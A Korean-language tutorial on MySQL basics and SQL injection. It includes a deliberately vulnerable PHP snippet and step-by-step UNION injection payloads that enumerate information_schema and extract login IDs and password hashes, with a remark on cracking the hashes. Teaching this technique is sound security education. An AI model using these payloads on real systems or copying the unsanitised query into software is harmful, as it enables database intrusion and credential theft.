관계형 데이터베이스 기본 연산
데이터베이스 조작을 위한 기본 SQL 구문은 인젝션 공격의 기반이 됩니다. 다음은 데이터베이스 및 테이블을 관리하고 데이터를 조회하는 핵심 명령어입니다.
데이터베이스 및 테이블 관리
-- 데이터베이스 생성 및 선택
CREATE DATABASE inventory_db;
USE inventory_db;
-- 테이블 생성 및 데이터 삽입
CREATE TABLE products (
item_id INT PRIMARY KEY,
item_name VARCHAR(100)
);
INSERT INTO products (item_id, item_name) VALUES (101, 'Laptop');
-- 전체 테이블 목록 조회
SHOW TABLES;
데이터 조회 및 LIMIT 절
조건에 따른 데이터 조회와 결과 행 수를 제한하는 LIMIT 절은 데이터 추출 시 필수적입니다.
-- 단일 조건 조회
SELECT item_name FROM inventory_db.products WHERE item_id = 101;
-- 다중 조건 조회
SELECT * FROM products WHERE item_id = 101 AND item_name = 'Laptop';
-- LIMIT을 이용한 결과 제한 (오프셋 0부터 1개의 행만 반환)
SELECT * FROM products LIMIT 0, 1;
시스템 함수 및 주석 처리
- 주요 함수:
DATABASE()(현재 DB),VERSION()(MySQL 버전),USER()(현재 사용자) - 주석 기호:
#,--(뒤에 공백 필요),/**/ - 인라인 주석:
/*!50000 SQL문 */형식으로 작성하며, MySQL 버전이 5.0.0 이상일 때만 내부 쿼리가 실행됩니다.
메타데이터 데이터베이스 (information_schema)
MySQL은 데이터베이스의 구조적 메타데이터를 저장하는 information_schema를 기본적으로 제공합니다. 인젝션을 통한 구조 파악 시 다음 세 가지 테이블이 핵심적으로 사용됩니다.
- SCHEMATA: 모든 데이터베이스 목록을 저장하며, DB명은
SCHEMA_NAME컬럼에 기록됩니다. - TABLES: 모든 테이블 정보를 저장하며, DB명과 테이블명은 각각
TABLE_SCHEMA,TABLE_NAME컬럼에 기록됩니다. - COLUMNS: 모든 컬럼 정보를 저장하며, DB명, 테이블명, 컬럼명은 각각
TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME컬럼에 기록됩니다.
SQL 인젝션 발생 메커니즘
웹 애플리케이션이 사용자 입력값을 적절히 검증하거나 이스케이프 처리하지 않고 SQL 쿼리에 직접 바인딩할 때 취약점이 발생합니다.
<?php
require 'db_config.php';
$product_id = $_GET['item_id'];
$query = "SELECT item_name, price FROM products WHERE item_id = " . $product_id;
$result = $pdo->query($query);
echo json_encode($result->fetch());
?>
사용자가 item_id 파라미터를 조작하여 쿼리의 논리를 변형할 수 있습니다.
- 문법 오류 유발:
item_id=101'입력 시 닫히지 않은 따옴표로 인해 DB 오류가 발생합니다. - 불리언 기반 테스트:
item_id=101 AND 1=1(참, 정상 페이지 출력)과item_id=101 AND 1=2(거짓, 빈 결과 출력)의 응답 차이를 통해 취약점 존재 여부를 확인합니다.
UNION 기반 데이터 추출 프로세스
UNION 인젝션은 기존 쿼리의 결과에 공격자가 작성한 쿼리의 결과를 결합하여 데이터를 추출하는 기법입니다.
1. 컬럼 수 파악 및 출력 위치 확인
ORDER BY 절을 사용하여 원본 쿼리의 컬럼 개수를 파악합니다.
/api/items?item_id=101' ORDER BY 3--
3번 컬럼까지는 정상 응답하고 4번에서 오류가 발생하면 컬럼 수는 3개입니다. 이후 UNION SELECT를 사용하여 화면에 출력되는 위치를 확인합니다. 기존 결과를 숨기기 위해 존재하지 않는 ID를 사용합니다.
/api/items?item_id=-1' UNION SELECT 1,2,3--
2. 시스템 정보 및 데이터베이스 목록 추출
출력되는 위치에 시스템 함수와 메타데이터 쿼리를 삽입합니다.
/api/items?item_id=-1' UNION SELECT 1,USER(),DATABASE()--
information_schema를 통해 데이터베이스 목록을 순차적으로 조회합니다.
/api/items?item_id=-1' UNION SELECT 1,SCHEMA_NAME,3 FROM information_schema.SCHEMATA LIMIT 1,1--
3. 테이블 및 컬럼 구조 파악
목표 데이터베이스(예: customer_db) 내의 테이블명을 추출합니다.
/api/items?item_id=-1' UNION SELECT 1,TABLE_NAME,3 FROM information_schema.TABLES WHERE TABLE_SCHEMA='customer_db' LIMIT 0,1--
특정 테이블(예: accounts)의 컬럼명을 추출합니다.
/api/items?item_id=-1' UNION SELECT 1,COLUMN_NAME,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='customer_db' AND TABLE_NAME='accounts' LIMIT 0,1--
4. 최종 데이터 추출
확인된 컬럼명(예: login_id, pass_hash)을 이용하여 실제 민감 데이터를 추출합니다.
/api/items?item_id=-1' UNION SELECT 1,login_id,pass_hash FROM customer_db.accounts LIMIT 0,1--
추출된 해시값은 적절한 복호화 도구나 레인보우 테이블을 통해 평문으로 변환할 수 있습니다.